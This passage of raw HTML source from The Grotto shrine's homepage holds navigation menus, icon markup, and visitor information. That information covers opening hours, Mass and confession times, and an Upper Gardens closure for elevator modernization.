menu-item-type-post_type menu-item-object-page menu-item-92"><a href="https://thegrotto.org/visit/pilgrimages/" class="elementor-sub-item" tabindex="-1">Pilgrimages </a></li> 405 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-91"><a href="https://thegrotto.org/visit/field-trips/" class="elementor-sub-item" tabindex="-1">Field Trips</a></li> 406 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-90"><a href="https://thegrotto.org/visit/faq-garden-etiquette/" class="elementor-sub-item" tabindex="-1">FAQ & Garden Etiquette </a></li> 407</ul> 408</li> 409<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-has-children menu-item-82"><a href="https://thegrotto.org/mass-events/" class="elementor-item" tabindex="-1">Mass & Events</a> 410<ul class="sub-menu elementor-nav-menu--dropdown"> 411 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-103"><a href="https://thegrotto.org/mass-events/mass-schedule/" class="elementor-sub-item" tabindex="-1">Mass Schedule</a></li> 412 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-102"><a href="https://thegrotto.org/mass-events/event-calendar/" class="elementor-sub-item" tabindex="-1">Event Calendar</a></li> 413 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-1694"><a href="https://thegrotto.org/eucharistic-miracles-exhibit/" class="elementor-sub-item" tabindex="-1">Eucharistic Miracles Exhibit</a></li> 414 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-1700"><a href="https://thegrotto.org/mass-lunch-learn-2/" class="elementor-sub-item" tabindex="-1">Mass, Lunch & Learn</a></li> 415 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-1649"><a href="https://thegrotto.org/gonzaga-concert-choir-at-the-grotto/" class="elementor-sub-item" tabindex="-1">Gonzaga Concert Choir at The Grotto</a></li> 416 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-138"><a href="https://thegrotto.org/about/employment-opportunities/" class="elementor-sub-item" tabindex="-1">Employment Opportunities</a></li> 417 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-105"><a href="https://thegrotto.org/mass-events/rosary/" class="elementor-sub-item" tabindex="-1">Rosary</a></li> 418 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-104"><a href="https://thegrotto.org/mass-events/confession/" class="elementor-sub-item" tabindex="-1">Confession</a></li> 419 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-108"><a href="https://thegrotto.org/mass-events/conference-center/" class="elementor-sub-item" tabindex="-1">Conference Center</a></li> 420 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-107"><a href="https://thegrotto.org/mass-events/weddings/" class="elementor-sub-item" tabindex="-1">Weddings</a></li> 421 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-has-children menu-item-81"><a href="https://thegrotto.org/christmas/" class="elementor-sub-item" tabindex="-1">Christmas</a> 422 <ul class="sub-menu elementor-nav-menu--dropdown"> 423 <li class="menu-item menu-item-type-custom menu-item-object-custom menu-item-110"><a href="/christmas" class="elementor-sub-item" tabindex="-1">Christmas Festival of Lights</a></li> 424 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-111"><a href="https://thegrotto.org/christmas/christmas-mass-schedule/" class="elementor-sub-item" tabindex="-1">Christmas Mass Schedule</a></li> 425 </ul> 426</li> 427</ul> 428</li> 429<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-has-children menu-item-80"><a href="https://thegrotto.org/support/" class="elementor-item" tabindex="-1">Support</a> 430<ul class="sub-menu elementor-nav-menu--dropdown"> 431 <li class="me
431nu-item menu-item-type-post_type menu-item-object-page menu-item-121"><a href="https://thegrotto.org/support/donate/" class="elementor-sub-item" tabindex="-1">Donate</a></li> 432 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-120"><a href="https://thegrotto.org/support/volunteer/" class="elementor-sub-item" tabindex="-1">Volunteer</a></li> 433 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-119"><a href="https://thegrotto.org/support/friends-of-the-grotto/" class="elementor-sub-item" tabindex="-1">Friends of the Grotto</a></li> 434 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-118"><a href="https://thegrotto.org/support/legacy-gifts/" class="elementor-sub-item" tabindex="-1">Legacy Gifts</a></li> 435</ul> 436</li> 437<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-has-children menu-item-79"><a href="https://thegrotto.org/pray/" class="elementor-item" tabindex="-1">Pray</a> 438<ul class="sub-menu elementor-nav-menu--dropdown"> 439 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-130"><a href="https://thegrotto.org/pray/daily-prayer/" class="elementor-sub-item" tabindex="-1">Daily Prayer</a></li> 440 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-129"><a href="https://thegrotto.org/pray/mass-intentions/" class="elementor-sub-item" tabindex="-1">Mass Intentions</a></li> 441 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-128"><a href="https://thegrotto.org/pray/st-peregrine-devotions/" class="elementor-sub-item" tabindex="-1">St. Peregrine Devotions </a></li> 442 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-789"><a href="https://thegrotto.org/a-guide-to-indulgences-for-the-st-peregrine-tercentenary/" class="elementor-sub-item" tabindex="-1">A Guide to Indulgences for the St. Peregrine Tercentenary</a></li> 443 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-127"><a href="https://thegrotto.org/pray/light-a-candle/" class="elementor-sub-item" tabindex="-1">Light a Candle</a></li> 444</ul> 445</li> 446<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-has-children menu-item-78"><a href="https://thegrotto.org/about/" class="elementor-item" tabindex="-1">About Us</a> 447<ul class="sub-menu elementor-nav-menu--dropdown"> 448 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-142"><a href="https://thegrotto.org/about/about-the-grotto/" class="elementor-sub-item" tabindex="-1">About The Grotto</a></li> 449 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-262"><a href="https://thegrotto.org/about/the-grotto-history/" class="elementor-sub-item" tabindex="-1">The Grottoâs History</a></li> 450 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-141"><a href="https://thegrotto.org/about/about-the-servites/" class="elementor-sub-item" tabindex="-1">About The Servites</a></li> 451 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-140"><a href="https://thegrotto.org/about/contact-us/" class="elementor-sub-item" tabindex="-1">Contact Us</a></li> 452 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-139"><a href="https://thegrotto.org/about/daily-e-news/" class="elementor-sub-item" tabindex="-1">Daily E-News</a></li> 453</ul> 454</li> 455<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-77"><a href="https://thegrotto.org/shop/" class="elementor-item" tabindex="-1">Shop</a></li> 456</ul> </nav> 457 </div> 458 </div> 459 </div> 460 <div class="elementor-element elementor-element-ed14301 elementor-hidden-desktop elementor-hidden-tablet e-con-full e-flex e-con e-parent" data-id="ed14301" data-element_type="container" data-e-type="container"> 461 <div class="elementor-element elementor-element-613c0df e-flex e-con-boxed e-con e-child" data-id="613c0df" data-element_type="container" data-e-type="container"> 462 <div class="e-con-inner"> 463 <div class="elementor-element elementor-element-d371fec elementor-widget elementor-widget-search" data-id="d371fec" data-element_type="widget" data-e-type="widget" data-settings="{"submit_trigger":"click_submit","pagination_type_options":"none"}" data-widget_type="search.default"> 464 <search class="e-search hidden" role="search"> 465 <form class="e-search-form" action="https://thegrotto.org" method="get"> 466 467 468 <label class="e-search-label" for="search-d371fec"> 469 <span class="elementor-screen-only"> 470 Search </span> 471 </label> 472 473 <div class="e-search-input-wrapper"> 474 <input id="search-d371fec" placeholder="" class="e-search-input" type="search" name="s" value="" autocomplete="on" role="combobox" aria-autocomplete="list" aria-expanded="false" aria-controls="results-d371fec" aria-haspopup="listbox"> 475 <svg aria-hidden="true" class="e-font-icon-svg e-fas-times" viewBox="0 0 352 512" xmlns="http://www.w3.org/2000/svg"><path d="M242.72 256l100.07-100.07c12.28-12.28 12.28-32.19 0-44.48l-22.24-22.24c-12.28-12.28-32.19-12.28-44.48 0L176 189.28 75.93 89.21c-12.28-12.28-32.19-12.28-44.48 0L9.21 111.45c-12.28 12.28-12.28 32.19 0 44.48L109.28 256 9.21 356.07c-12.28 12.28-12.28 32.19 0 44.48l22.24 22.24c12.28 12.28 32.2 12.28 44.48 0L176 322.72l100.07 100.07c12.28 12.28 32.2 12.28 44.48 0l22.24-22.24c12.28-12.28 12.28-32.19 0-44.48L242.72 256z"></path></svg> <output id="results-d371fec" class="e-search-results-container hide-loader" aria-live="polite" aria-atomic="true" aria-label="Results for search" tabindex="0"> 476 <div class="e-search-results"></div> 477 </output> 478 </div> 479 480 481 <button class="e-search-submit " type="submit"> 482 483 <span class=""> 484 Search </span> 485 </button> 486 <input type="hidden" name="e_search_props" value="d371fec-39"> 487 </form> 488 </search> 489 </div> 490 </div>
491 </div> 492 </div> 493 </header> 494 495<main id="content" class="site-main post-12 page type-page status-publish hentry"> 496 497 498 <div class="page-content"> 499 <div data-elementor-type="wp-page" data-elementor-id="12" class="elementor elementor-12" data-elementor-post-type="page"> 500 <div class="elementor-element elementor-element-1c041ed0 e-con-full e-flex e-con e-parent" data-id="1c041ed0" data-element_type="container" data-e-type="container" data-settings="{"background_background":"classic"}"> 501 <div class="elementor-element elementor-element-6b9d616 e-con-full animated-slow e-flex elementor-invisible e-con e-child" data-id="6b9d616" data-element_type="container" data-e-type="container" data-settings="{"background_background":"classic","animation":"fadeInLeft"}"> 502 <div class="elementor-element elementor-element-5408a1de elementor-widget elementor-widget-heading" data-id="5408a1de" data-element_type="widget" data-e-type="widget" data-widget_type="heading.default"> 503 <h1 class="elementor-heading-title elementor-size-default">Welcome to The Grotto</h1> </div> 504 <div class="elementor-element elementor-element-1c53f541 elementor-widget elementor-widget-text-editor" data-id="1c53f541" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default"> 505 <p>National Sanctuary of Our Sorrowful Mother</p> </div> 506 </div> 507 <div class="elementor-element elementor-element-0207107 e-con-full e-flex e-con e-child" data-id="0207107" data-element_type="container" data-e-type="container"> 508 </div> 509 </div> 510 <div class="elementor-element elementor-element-69faead6 e-flex e-con-boxed e-con e-parent" data-id="69faead6" data-element_type="container" data-e-type="container" data-settings="{"background_background":"classic"}"> 511 <div class="e-con-inner"> 512 <div class="elementor-element elementor-element-17c1abae e-con-full e-flex e-con e-child" data-id="17c1abae" data-element_type="container" data-e-type="container"> 513 <div class="elementor-element elementor-element-72b3830e animated-slow elementor-invisible elementor-widget elementor-widget-heading" data-id="72b3830e" data-element_type="widget" data-e-type="widget" data-settings="{"_animation":"fadeInLeft"}" data-widget_type="heading.default"> 514 <h2 class="elementor-heading-title elementor-size-default">Today's 515Schedule</h2> </div> 516 </div> 517 </div> 518 </div> 519 <div class="elementor-element elementor-element-4ec1629 e-flex e-con-boxed e-con e-parent" data-id="4ec1629" data-element_type="container" data-e-type="container"> 520 <div class="e-con-inner"> 521 <div class="elementor-element elementor-element-a69334e e-con-full e-flex e-con e-child" data-id="a69334e" data-element_type="container" data-e-type="container"> 522 <div class="elementor-element elementor-element-a68fd8b elementor-widget elementor-widget-heading" data-id="a68fd8b" data-element_type="widget" data-e-type="widget" data-widget_type="heading.default"> 523 <h2 class="elementor-heading-title elementor-size-default">Hours</h2> </div> 524 <div class="elementor-element elementor-element-0ba55ef elementor-widget-divider--view-line elementor-widget elementor-widget-divider" data-id="0ba55ef" data-element_type="widget" data-e-type="widget" data-widget_type="divider.default"> 525 <div class="elementor-divider"> 526 <span class="elementor-divider-separator"> 527 </span> 528 </div> 529 </div> 530 <div class="elementor-element elementor-element-0e2b69e elementor-widget elementor-widget-text-editor" data-id="0e2b69e" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default"> 531 <p><strong>Grounds and Chapel</strong>: 9 a.m.- 6:30 p.m.<br /><strong>Gift Shop</strong>: 9 a.m.- 6:30p.m.</p> </div> 532 </div> 533 <div class="elementor-element elementor-element-debd6d1 e-con-full e-flex e-con e-child" data-id="debd6d1" data-element_type="container" data-e-type="container"> 534 <div class="elementor-element elementor-element-86e88f8 elementor-widget elementor-widget-heading" data-id="86e88f8" data-element_type="widget" data-e-type="widget" data-widget_type="heading.default"> 535 <h2 class="elementor-heading-title elementor-size-default">Mass Times</h2> </div> 536 <div class="elementor-element elementor-element-8cbb9ba elementor-widget-divider--view-line elementor-widget elementor-widget-divider" data-id="8cbb9ba" data-element_type="widget" data-e-type="widget" data-widget_type="divider.default"> 537 <div class="elementor-divider"> 538 <span class="elementor-divider-separator"> 539 </span> 540 </div> 541 </div> 542 <div class="elementor-element elementor-element-601a48d elementor-widget elementor-widget-text-editor" data-id="601a48d" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default"> 543 <p><strong>Sunday Mass</strong>: 8 a.m., 10 a.m., 12 p.m.<br /><strong>Daily Mass (Mon-Sat)</strong>: 12 p.m.<br /><strong>Spanish Mass</strong>: 2 p.m. on 2nd and 4th Sundays<br /><strong>Filipino Mass:</strong> 2 p.m. on 1st and 3rd Sunday</p> </div>
544 </div> 545 <div class="elementor-element elementor-element-6b5e467 e-con-full e-flex e-con e-child" data-id="6b5e467" data-element_type="container" data-e-type="container"> 546 <div class="elementor-element elementor-element-97d9044 elementor-widget elementor-widget-heading" data-id="97d9044" data-element_type="widget" data-e-type="widget" data-widget_type="heading.default"> 547 <h2 class="elementor-heading-title elementor-size-default">Holy Rosary</h2> </div> 548 <div class="elementor-element elementor-element-c09cb27 elementor-widget-divider--view-line elementor-widget elementor-widget-divider" data-id="c09cb27" data-element_type="widget" data-e-type="widget" data-widget_type="divider.default"> 549 <div class="elementor-divider"> 550 <span class="elementor-divider-separator"> 551 </span> 552 </div> 553 </div> 554 <div class="elementor-element elementor-element-4733522 elementor-widget elementor-widget-text-editor" data-id="4733522" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default"> 555 <p>Daily recitataion of the Rosary at The Grotto takes place every day, 30 minutes before each Mass.</p> </div> 556 </div> 557 <div class="elementor-element elementor-element-8f3b259 e-con-full e-flex e-con e-child" data-id="8f3b259" data-element_type="container" data-e-type="container"> 558 <div class="elementor-element elementor-element-371ef04 elementor-widget elementor-widget-heading" data-id="371ef04" data-element_type="widget" data-e-type="widget" data-widget_type="heading.default"> 559 <h2 class="elementor-heading-title elementor-size-default">Gardens</h2> </div> 560 <div class="elementor-element elementor-element-cb97eee elementor-widget-divider--view-line elementor-widget elementor-widget-divider" data-id="cb97eee" data-element_type="widget" data-e-type="widget" data-widget_type="divider.default"> 561 <div class="elementor-divider"> 562 <span class="elementor-divider-separator"> 563 </span> 564 </div> 565 </div> 566 <div class="elementor-element elementor-element-24fb59b elementor-widget elementor-widget-text-editor" data-id="24fb59b" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default"> 567 <p><strong>Upper Gardens (admission required)</strong>: 9 a.m. – 6:30 p.m., with tickets sold until 5:30 p.m.<br /><strong>Lower level (free during daytime hours)</strong>: open during normal operating hours.</p><p><strong>UPPER GARDENS CLOSURE ALERT</strong></p><p><span data-contrast="auto">The Upper Gardens will be closed beginning Oct. 5 through the end of January while the elevator is modernized.</span><span data-ccp-props="{"134233117":false,"134233118":false,"201341983":0,"335551550":1,"335551620":1,"335559685":0,"335559737":0,"335559738":0,"335559739":160,"335559740":279}"> </span></p><p><span data-contrast="auto">The modernization project will increase speed and occupancy by replacing mechanical, electrical, and safety systems with state-of-the-art components. </span><span data-ccp-props="{"134233117":false,"134233118":false,"201341983":0,"335551550":1,"335551620":1,"335559685":0,"335559737":0,"335559738":0,"335559739":160,"335559740":279}"> </span></p><p><strong>The Plaza Level,</strong> including the Chapel, Grotto, St. Peregrine Shrine, Gift Shop, Interpretive Center, and Stations of the Cross path,<b><span data-contrast="auto"> will remain open.</span></b></p> </div> 568 </div> 569 <div class="elementor-element elementor-element-2a10c44 e-con-full e-flex e-con e-child" data-id="2a10c44" data-element_type="container" data-e-type="container"> 570 <div class="elementor-element elementor-element-16e86ab elementor-widget elementor-widget-heading" data-id="16e86ab" data-element_type="widget" data-e-type="widget" data-widget_type="heading.default"> 571 <h2 class="elementor-heading-title elementor-size-default">St. Peregrine Mass</h2> </div> 572 <div class="elementor-element elementor-element-91157b5 elementor-widget-divider--view-line elementor-widget elementor-widget-divider" data-id="91157b5" data-element_type="widget" data-e-type="widget" data-widget_type="divider.default"> 573 <div class="elementor-divider"> 574 <span class="elementor-divider-separator"> 575 </span> 576 </div> 577 </div> 578 <div class="elementor-element elementor-element-ddcfa8b elementor-widget elementor-widget-text-editor" data-id="ddcfa8b" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default"> 579 <p><strong>First Saturday of the month at 12 p.m. </strong>in the Chapel of Mary. In the summer months, this Mass is held outdoors in the plaza, weather permitting.</p><p><strong><a href="https://thegrotto.org/a-guide-to-indulgences-for-the-st-peregrine-tercentenary/">Guide to explaining the indulgences on the occasion of the Tercentenary of the Canonization of St. Peregrine Laziosi</a></strong></p> </div>
580 </div> 581 <div class="elementor-element elementor-element-2a079ad e-con-full e-flex e-con e-child" data-id="2a079ad" data-element_type="container" data-e-type="container"> 582 <div class="elementor-element elementor-element-5b1c89a elementor-widget elementor-widget-heading" data-id="5b1c89a" data-element_type="widget" data-e-type="widget" data-widget_type="heading.default"> 583 <h2 class="elementor-heading-title elementor-size-default">Sacrament of Reconciliation</h2> </div> 584 <div class="elementor-element elementor-element-fa038b1 elementor-widget-divider--view-line elementor-widget elementor-widget-divider" data-id="fa038b1" data-element_type="widget" data-e-type="widget" data-widget_type="divider.default"> 585 <div class="elementor-divider"> 586 <span class="elementor-divider-separator"> 587 </span> 588 </div> 589 </div> 590 <div class="elementor-element elementor-element-ba5b6a3 elementor-widget elementor-widget-text-editor" data-id="ba5b6a3" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default"> 591 <p>A priest is available during office hours for the blessing of items, spiritual direction, and confession. The office is located next to The Grotto Interpretive Center.</p><p><strong>Monday-Friday:</strong> 10 a.m.-11:45 a.m. and 3 p.m.-5 p.m.<br /><strong>Saturday</strong>: 10 a.m.- 11:45 a.m.</p> </div> 592 </div> 593 </div> 594 </div> 595 <div class="elementor-element elementor-element-454119f e-flex e-con-boxed e-con e-parent" data-id="454119f" data-element_type="container" data-e-type="container"> 596 <div class="e-con-inner"> 597 <div class="elementor-element elementor-element-7604a8e e-con-full e-flex e-con e-child" data-id="7604a8e" data-element_type="container" data-e-type="container"> 598 <div class="elementor-element elementor-element-33c7fa0 elementor-align-center elementor-widget elementor-widget-button" data-id="33c7fa0" data-element_type="widget" data-e-type="widget" data-widget_type="button.default"> 599 <a class="elementor-button elementor-button-link elementor-size-sm" href="/about/daily-e-news/"> 600 <span class="elementor-button-content-wrapper"> 601 <span class="elementor-button-text">Daily Newsletter</span> 602 </span> 603 </a> 604 </div> 605 </div> 606 <div class="elementor-element elementor-element-b82b0d1 e-con-full e-flex e-con e-child" data-id="b82b0d1" data-element_type="container" data-e-type="container"> 607 <div class="elementor-element elementor-element-87e779d elementor-align-center elementor-widget elementor-widget-button" data-id="87e779d" data-element_type="widget" data-e-type="widget" data-widget_type="button.default"> 608 <a class="elementor-button elementor-button-link elementor-size-sm" href="/mass-events/mass-schedule/"> 609 <span class="elementor-button-content-wrapper"> 610 <span class="elementor-button-text">Mass Schedule</span> 611 </span> 612 </a> 613 </div> 614 </div> 615 </div> 616 </div> 617 <div class="elementor-element elementor-element-49cc1724 e-flex e-con-boxed e-con e-parent" data-id="49cc1724" data-element_type="container" data-e-type="container" data-settings="{"background_background":"classic"}"> 618 <div class="e-con-inner"> 619 <div class="elementor-element elementor-element-1a3d3828 e-con-full e-flex e-con e-child" data-id="1a3d3828" data-element_type="container" data-e-type="container"> 620 <div class="elementor-element elementor-element-177a8056 animated-slow elementor-invisible elementor-widget elementor-widget-heading" data-id="177a8056" data-element_type="widget" data-e-type="widget" data-settings="{"_animation":"fadeInLeft"}" data-widget_type="heading.default"> 621 <h2 class="elementor-heading-title elementor-size-default">Upper Gardens Temporary Closure 622Begins Oct. 5</h2> </div> 623 <div class="elementor-element elementor-element-7a80bb50 animated-slow elementor-widget-divider--view-line elementor-invisible elementor-widget elementor-widget-divider" data-id="7a80bb50" data-element_type="widget" data-e-type="widget" data-settings="{"_animation":"fadeInLeft"}" data-widget_type="divider.default"> 624 <div class="elementor-divider"> 625 <span class="elementor-divider-separator"> 626 </span> 627 </div> 628 </div>
629 </div> 630 <div class="elementor-element elementor-element-3fbc2ab8 e-con-full e-flex e-con e-child" data-id="3fbc2ab8" data-element_type="container" data-e-type="container"> 631 <div class="elementor-element elementor-element-797ef03 animated-slow elementor-invisible elementor-widget elementor-widget-button" data-id="797ef03" data-element_type="widget" data-e-type="widget" data-settings="{"_animation":"fadeIn","_animation_delay":400}" data-widget_type="button.default"> 632 <a class="elementor-button elementor-button-link elementor-size-sm" href="/upper-gardens-temporary-closure/"> 633 <span class="elementor-button-content-wrapper"> 634 <span class="elementor-button-icon"> 635 <svg aria-hidden="true" class="e-font-icon-svg e-fas-church" viewBox="0 0 640 512" xmlns="http://www.w3.org/2000/svg"><path d="M464.46 246.68L352 179.2V128h48c8.84 0 16-7.16 16-16V80c0-8.84-7.16-16-16-16h-48V16c0-8.84-7.16-16-16-16h-32c-8.84 0-16 7.16-16 16v48h-48c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h48v51.2l-112.46 67.48A31.997 31.997 0 0 0 160 274.12V512h96v-96c0-35.35 28.65-64 64-64s64 28.65 64 64v96h96V274.12c0-11.24-5.9-21.66-15.54-27.44zM0 395.96V496c0 8.84 7.16 16 16 16h112V320L19.39 366.54A32.024 32.024 0 0 0 0 395.96zm620.61-29.42L512 320v192h112c8.84 0 16-7.16 16-16V395.96c0-12.8-7.63-24.37-19.39-29.42z"></path></svg> </span> 636 <span class="elementor-button-text">Learn more about the elevator modernization project</span> 637 </span> 638 </a> 639 </div> 640 </div> 641 </div> 642 </div> 643 <div class="elementor-element elementor-element-3972435 e-con-full elementor-hidden-tablet elementor-hidden-mobile e-flex e-con e-parent" data-id="3972435" data-element_type="container" data-e-type="container" data-settings="{"background_background":"classic"}"> 644 <div class="elementor-element elementor-element-7f9256b e-con-full animated-slow e-flex elementor-invisible e-con e-child" data-id="7f9256b" data-element_type="container" data-e-type="container" data-settings="{"background_background":"classic","animation":"fadeInRight"}"> 645 <div class="elementor-element elementor-element-69e36b0 elementor-widget elementor-widget-heading" data-id="69e36b0" data-element_type="widget" data-e-type="widget" data-widget_type="heading.default"> 646 <h2 class="elementor-heading-title elementor-size-default">Visit Us</h2> </div> 647 <div class="elementor-element elementor-element-05b2796 animated-slow elementor-widget-divider--view-line elementor-invisible elementor-widget elementor-widget-divider" data-id="05b2796" data-element_type="widget" data-e-type="widget" data-settings="{"_animation":"fadeInRight","_animation_delay":40}" data-widget_type="divider.default"> 648 <div class="elementor-divider"> 649 <span class="elementor-divider-separator"> 650 </span> 651 </div> 652 </div> 653 <div class="elementor-element elementor-element-4ee1bbe elementor-widget elementor-widget-text-editor" data-id="4ee1bbe" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default"> 654 <p>Everyone is welcome at this historic shrine. Encompassing fifty-four acres, The Grotto is truly an oasis in the city. May all visitors and pilgrims find serenity, comfort, and inspiration as they walk through the gardens</p> </div> 655 <div class="elementor-element elementor-element-eef3ddb e-con-full e-grid e-con e-child" data-id="eef3ddb" data-element_type="container" data-e-type="container"> 656 <div class="elementor-element elementor-element-d887499 e-con-full e-flex e-con e-child" data-id="d887499" data-element_type="container" data-e-type="container"> 657 <div class="elementor-element elementor-element-5aef87a elementor-icon-list--layout-traditional elementor-list-item-link-full_width elementor-widget elementor-widget-icon-list" data-id="5aef87a" data-element_type="widget" data-e-type="widget" data-widget_type="icon-list.default"> 658 <ul class="elementor-icon-list-items"> 659 <li class="elementor-icon-list-item"> 660 <a href="/visit/directions/"> 661 662 <span class="elementor-icon-list-icon"> 663 <svg aria-hidden="true" class="e-font-icon-svg e-fas-map-marked" viewB
663ox="0 0 576 512" xmlns="http://www.w3.org/2000/svg"><path d="M288 0c-69.59 0-126 56.41-126 126 0 56.26 82.35 158.8 113.9 196.02 6.39 7.54 17.82 7.54 24.2 0C331.65 284.8 414 182.26 414 126 414 56.41 357.59 0 288 0zM20.12 215.95A32.006 32.006 0 0 0 0 245.66v250.32c0 11.32 11.43 19.06 21.94 14.86L160 448V214.92c-8.84-15.98-16.07-31.54-21.25-46.42L20.12 215.95zM288 359.67c-14.07 0-27.38-6.18-36.51-16.96-19.66-23.2-40.57-49.62-59.49-76.72v182l192 64V266c-18.92 27.09-39.82 53.52-59.49 76.72-9.13 10.77-22.44 16.95-36.51 16.95zm266.06-198.51L416 224v288l139.88-55.95A31.996 31.996 0 0 0 576 426.34V176.02c0-11.32-11.43-19.06-21.94-14.86z"></path></svg> </span> 664 <span class="elementor-icon-list-text">Our Location</span> 665 </a> 666 </li> 667 <li class="elementor-icon-list-item"> 668 <a href="/visit/hours-admission/"> 669 670 <span class="elementor-icon-list-icon"> 671 <svg aria-hidden="true" class="e-font-icon-svg e-fas-ticket-alt" viewBox="0 0 576 512" xmlns="http://www.w3.org/2000/svg"><path d="M128 160h320v192H128V160zm400 96c0 26.51 21.49 48 48 48v96c0 26.51-21.49 48-48 48H48c-26.51 0-48-21.49-48-48v-96c26.51 0 48-21.49 48-48s-21.49-48-48-48v-96c0-26.51 21.49-48 48-48h480c26.51 0 48 21.49 48 48v96c-26.51 0-48 21.49-48 48zm-48-104c0-13.255-10.745-24-24-24H120c-13.255 0-24 10.745-24 24v208c0 13.255 10.745 24 24 24h336c13.255 0 24-10.745 24-24V152z"></path></svg> </span> 672 <span class="elementor-icon-list-text">Admission Details</span> 673 </a> 674 </li> 675 </ul> 676 </div> 677 </div> 678 <div class="elementor-element elementor-element-9bd71c9 e-con-full e-flex e-con e-child" data-id="9bd71c9" data-element_type="container" data-e-type="container"> 679 <div class="elementor-element elementor-element-a21adb7 elementor-icon-list--layout-traditional elementor-list-item-link-full_width elementor-widget elementor-widget-icon-list" data-id="a21adb7" data-element_type="widget" data-e-type="widget" data-widget_type="icon-list.default"> 680 <ul class="elementor-icon-list-items"> 681 <li class="elementor-icon-list-item"> 682 <a href="/visit/pilgrimages/group/"> 683 684 <span class="elementor-icon-list-icon"> 685 <svg aria-hidden="true" class="e-font-icon-svg e-fas-users" viewBox="0 0 640 512" xmlns="http://www.w3.org/2000/svg"><path d="M96 224c35.3 0 64-28.7 64-64s-28.7-64-64-64-64 28.7-64 64 28.7 64 64 64zm448 0c35.3 0 64-28.7 64-64s-28.7-64-64-64-64 28.7-64 64 28.7 64 64 64zm32 32h-64c-17.6 0-33.5 7.1-45.1 18.6 40.3 22.1 68.9 62 75.1 109.4h66c17.7 0 32-14.3 32-32v-32c0-35.3-28.7-64-64-64zm-256 0c61.9 0 112-50.1 112-112S381.9 32 320 32 208 82.1 208 144s50.1 112 112 112zm76.8 32h-8.3c-20.8 10-43.9 16-68.5 16s-47.6-6-68.5-16h-8.3C179.6 288 128 339.6 128 403.2V432c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48v-28.8c0-63.6-51.6-115.2-115.2-115.2zm-223.7-13.4C161.5 263.1 145.6 256 128 256H64c-35.3 0-64 28.7-64 64v32c0 17.7 14.3 32 32 32h65.9c6.3-47.4 34.9-87.3 75.2-109.4z"></path></svg> </span> 686 <span class="elementor-icon-list-text">Group Pilgrimages</span> 687 </a> 688 </li> 689 <li class="elementor-icon-list-item"> 690 <a href="/visit/pilgrimages/individual/"> 691 692 <span class="elementor-icon-list-icon"> 693 <svg aria-hidden="true" class="e-font-icon-svg e-fas-user" viewBox="0 0 448 512" xmlns="http://www.w3.org/2000/svg"><path d="M224 256c70.7 0 128-57.3 128-128S294.7 0 224 0 96 57.3 96 128s57.3 128 128 128zm89.6 32h-16.7c-22.2 10.2-46.9 16-72.9 16s-50.6-5.8-72.9-16h-16.7C60.2 288 0 348.2 0 422.4V464c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48v-41.6c0-74.2-60.2-134.4-134.4-134.4z"></path></svg> </span> 694 <span class="elementor-icon-list-text">Individual Pilgrimages</span> 695 </a> 696 </li> 697 <li class="elementor-icon-list-item"> 698 <a href="/visit/field-trips/"> 699 700 <span class="elementor-icon-list-icon"> 701 <svg aria-hidden="true" class="e-font-icon-svg e-fas-compass" viewBox="0 0 496 512" xmlns="http://www.w3.org/2000/svg"><path d="M225.38 233.37c-12.5 12.5-12.5 32.76 0 45.25 12.49 12.5 32.76 12.5 45.25 0 12.5-12.5 12.5-32.76 0-45.25-12.5-12.49-32.76-12.49-45.25 0zM248 8C111.03 8 0 119.03 0 256s111.03 248 248 248 248-111.03 248-248S384.97 8 248 8zm126.14 148.05L308.17 300.4a31.938 31.938 0 0 1-15.77 15.77l-144.34 65.97c-16.65 7.61-33.81-9.55-26.2-26.2l65.98-144.35a31.938 31.938 0 0 1 15.77-15.77l144.34-65.97c16.65-7.6 33.8 9.55 26.19 26.2z"></path></svg> </span> 702 <span class="elementor-icon-list-text">Field Trips</span> 703 </a> 704 </li> 705 </ul> 706 </div>
